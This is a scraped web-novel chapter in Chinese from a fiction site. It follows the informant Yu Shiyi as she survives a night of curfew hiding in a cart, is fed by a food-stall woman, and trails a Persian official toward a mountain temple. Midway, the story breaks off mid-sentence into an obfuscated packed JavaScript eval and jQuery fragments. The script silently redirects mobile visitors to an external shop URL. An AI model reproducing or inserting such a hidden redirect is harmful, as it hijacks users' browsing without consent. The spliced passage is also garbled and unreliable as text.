文趣网 > 其他小说 > 裴御史和他苦命的牛马 > 14. 再饿就死了
    金吾卫三人一排,共三列,有两百多人,故而队伍也是极长的。

    鱼十一屏住呼吸,扒拉着麻袋的缝隙朝外看,她神色紧绷,额角的青筋跳得突突的。夜里风凉,麻袋边角硌着脸颊,她连呼吸都放得极轻,生怕半点动静引来注意。

    就在那阵列行到末尾之时,她痉挛的胃低低叫了两声。

    离她最近的金吾卫瞬间扭头,玄铁的瑞兽面具在月光下泛着森森寒意。

    鱼十一猛地缩回了头,整个人彻底蜷成一团,两只手死死按着肚子,生怕它突然饥鸣暴露自己。麻袋内里狭小逼仄,后背死死抵着硬木板,硌得骨头生疼。

    外面那群巡夜的金吾卫,可不管你什么原因,犯夜禁者轻则押入大理寺狱,重则当街射杀。

    鱼十一的鼻头一阵阵发酸,泪珠就缀在眼角将落未落,这卖命的钱,她真是不敢赚了。

    裴御史说得倒是轻松,有能耐他来这儿守着啊。他只动动嘴皮子,哪里晓得这暗无天日、担惊受怕的煎熬。

    第一天当值,她就要自掏腰包花出去两袋碎银,那波斯馆里的消费看起来更是天价。

    要不是她支开小侍女翻窗跑了,这钱估计也是从她身上出。

    唉,她明明是来赚钱的,却白白搭进去了这么多银子,现在还要在运货的板车里头窝着,简直就是活受罪。

    大户人家的丫鬟给主子守夜还要轮换着来呢,凭什么就把她当牛马用。

    鱼十一越想越憋屈,牙也被她咬得吱吱响,像闹耗子似的。

    她双手握拳,瞪着眼睛,用气声低吼道:“姓裴的,这钱你要是不双倍补给我,小爷就不干啦!”

    现在是宵禁,想来那位大萨宝也不敢在昼放前出来。鱼十一揉着自己麻到没有知觉的脚踝,暗暗盘算,“那小爷等晨鼓响了再继续盯梢,也不算失职哈。”

    她猛吸了一下鼻子,屁股向后一撅,给自己多扩了一寸空间。又掏出怀里叠好的肩挎,铺在木板上,两条手臂环紧屈起的双腿,倒头就睡了起来。

    实在累得紧了,她就在脑海里悄悄跟自己说,“没事儿,这不是摸鱼,要是白天没醒过来,就说跟丢啦。”这样想着,她心里头的压力便瞬间卸下。她本就是个油滑的市井小人物,原计划就是摸鱼坑姓裴的钱来着。她鱼小爷能坚持这么久认真当值,已经是对裴清辞的恩赐了。

    残月东移,云卷云舒,星辰在朝霞的追赶下,渐渐暗淡。

    厚重的晨鼓同鸡鸣声交相辉映。

    鱼十一在日日都听的声响中徐徐睁眼,天色还未大亮,柔和的晨光洒在她熬出乌青的脸上,并不刺眼。蜷了整整一夜,浑身骨头跟散架一般,稍一动弹就酸胀难忍。

    她双眸还有些迷蒙,片刻后便恢复了清明。忙起身脱下能罩住三个人的黑斗篷,揉把揉把塞进了挎包里。

    鱼十一理了理衣衫一息间便跳下了车,刚落地,四肢与躯干上的痛楚立刻袭上百骸。每动一下,她全身筋骨都似是被打碎了再拼撞一般,胃痛和这比起来都不算什么了。

    她躬着腰,身板比昨天搬货的老翁还要佝偻,动作一顿一顿的。她双眼青黑、唇色惨白,牙关紧咬,嘴角大大的咧着,整个人看起来颇像一具狰狞的活尸。

    鱼十一眸光一凛细细环顾周遭,趁街上还没有行人,咬紧了牙挪着无知无觉僵硬发木的双腿,往对道还没开门的胡饼摊子走,每一步都要费上不小力气。

    她双眸含着怒火,但眼底又是一片郁色。她对自己当初做选择的悔恨,不比对裴清辞的怨恨低多少,只要一想到这样煎熬的日子不知还要持续多久,瞬间无欲无求了,只觉得这般折腾快要熬到头了。

    抱怨归抱怨,事儿还是得办。

    等屁股终于坐在铺着软垫的圆凳上时,她眼眶不禁积满了泪花,神经一放松,积压整夜的身体痛感便成倍放大。

    疼了一晚上的胃也给了她最严厉的报复,胆汁混着胃酸一股股的向上涌,直直挤上了她的喉头。

    鱼十一趴在桌子上,手死死的捂住胃,眼前逐渐变得模糊。

    不多时店门开了,她看见里头走出来一个番邦妇人,怀里还捧着笼屉。

    她死死盯着那位夫人,颤颤地伸出手臂,五指对着空气不停抓握着。哑着嗓子,虚弱道:“吃……吃得。”

    那妇人惊呼了一声,当即放下笼屉,跑进了屋里。

    鱼十一的眸光渐渐涣散,那妇人才端着一碗米粥过来,“你是谁家的孩子?一大早的可别饿死在我这儿。”

    “谢谢。”她低声说罢,拔掉了碗里的木勺,捧着米粥就大口往肚子里灌,饿得太久不敢猛吞,却还是止不住急切。

    “慢点慢点,还有呢,我再给你盛。”那妇人接过空碗又跑了回去,生怕慢一步这年轻小哥就饿死在她摊位上了。

    往返五趟后,鱼十一才揉着鼓胀的肚子,缓缓打了个嗝。吃饱了,气力慢慢回上来,精神也好了大半。

    那妇人看着她状态好多了,也松了一口气。

    鱼十一舔掉挂在唇角的米糊,紧着伸手往怀里摸,越摸脸上的神情就越窘迫。

    钱都……花光了。

    “看你这一身家境应该不差,罢了这顿当请你的,改日再来西市多买我家几张胡饼就成。”妇人收完碗,边擦桌子边道。

    “肯定来,我下次带所有兄弟们都来买大娘的胡饼。”鱼十一眼眶又是一红,连连点头许诺。

    妇人不问她一个大梁人,怎么晨鼓刚敲响没多久就到胡人聚集的西市了。也不追问她是谁,怎么饿成这样,更不问她为什么一直盯着旁边的波斯馆。

    她就让鱼十一在这儿坐着,再没任何对话,给足了体面。

    鱼十一眯眼瞧了眼太阳估算时辰,静静等着大萨宝尔珠出来。

    胡饼蒸熟了四笼,尔珠才带着一众贴身侍从,从波斯馆的正门大摇大摆的走了出来。

    他面色凝重,刚出门就弯腰钻进

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766400|209713||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了一顶制式特别的圆顶马车里。

    鱼十一转回身,垂下头用余光盯着那辆车在自己面前缓缓经过。

    她来不及同胡饼大娘打招呼,一把抓过挎包挎在肩上,脚步放轻悄悄跟了上去。

    好在街上的行人渐渐多了起来,此处又是城内热闹主街,人流杂乱,她混在人群里尾随,并不算太过扎眼,不容易被马车随行的护卫察觉。

    鱼十一低着头,借着行人的遮挡,不远不近跟着那辆圆顶马车。

    她跟得仔细,连周遭的建筑和行进的路线都没太在意。

    等回过神时,却发现觉街市越走越冷清,屋舍渐渐稀疏,路也变成了被人和车压实的土路,两旁都是荒草野树。

    她竟然跟着尔珠的马车,一路到了城外的郊野。

    那马车还没停下,她丝毫不敢松懈,脚下的土路坑洼不平,昨夜蜷了一夜的腿脚仍旧酸痛发僵。

    在坊市里能走那么远,已经是勉强,现在每跟上一段都要咬牙硬撑。

    待到彻底出了城郭,那马车便在一座山的山脚停下了,一行人尽数弃车步行。郊外野路两旁长满杂乱野草,好在这一路行人虽不多,但三三两两上山祈福的香客断断续续,也够她隐在人群后头悄悄隐藏身形,不容易被护卫察觉。

    鱼十一凝神观察他们,发现每个人的面色都无比沉肃,有夫妻两口子相互搀扶着慢慢走的,也有白发老者结伴同行的,甚至还有几名穿着儒衫的学子,全都一脸郑重。

    她又回想了一下走过的路,小时候母亲从不让她随便往郊外乱跑,但这条通往山里的路她还有印象,心里咯噔一下,难道……是要往成佛寺去?

    佛家寺庙最让人无奈的便是这份讲究,所谓善男信女要表虔诚,明明车马能直达山脚的平坦车道偏偏锁死不通,非要游人下车一步步爬山登顶,才算得上礼敬佛祖。

    看着尔珠已经被前后侍从们簇拥着,抬脚踏上山路开始往上攀爬,鱼十一暗自长长叹了口气,心里直犯嘀咕,这下又要白白受累遭罪了。

    她压低身子悄悄绕开守在山脚的护卫,顺着山里常年被人踩出来的窄小野径费力往上攀。

    坡面陡峭,泥土被踩得松滑,昨夜熬了一夜本就酸痛的腿脚使不上力气,好几次脚下打滑都险些踉跄摔下坡去。

    她一步一挪登上半山腰的平台,大口喘着粗气,抬眼一望,一道直接凿在陡峭峭壁上的石阶直直向上延伸。

    石梯又陡又直,一级级顺着崖壁往上铺,直戳云天,高耸入云,光看着陡峭的坡度就让人心头发紧,腿肚子不自觉发软。

    还没爬呢,鱼十一便先幻想起自己滚下来的模样,不禁打了几个冷颤。

    真可恶,刚爬完一段土坡,迎面还有这么一道难关啊。

    鱼十一耷拉着脸,满心无奈。

    她实在想不通自己儿时是怎么跟着阿娘一路爬上来的。不过看阿娘后来没再带她来过了,许是当不来这佛家施主。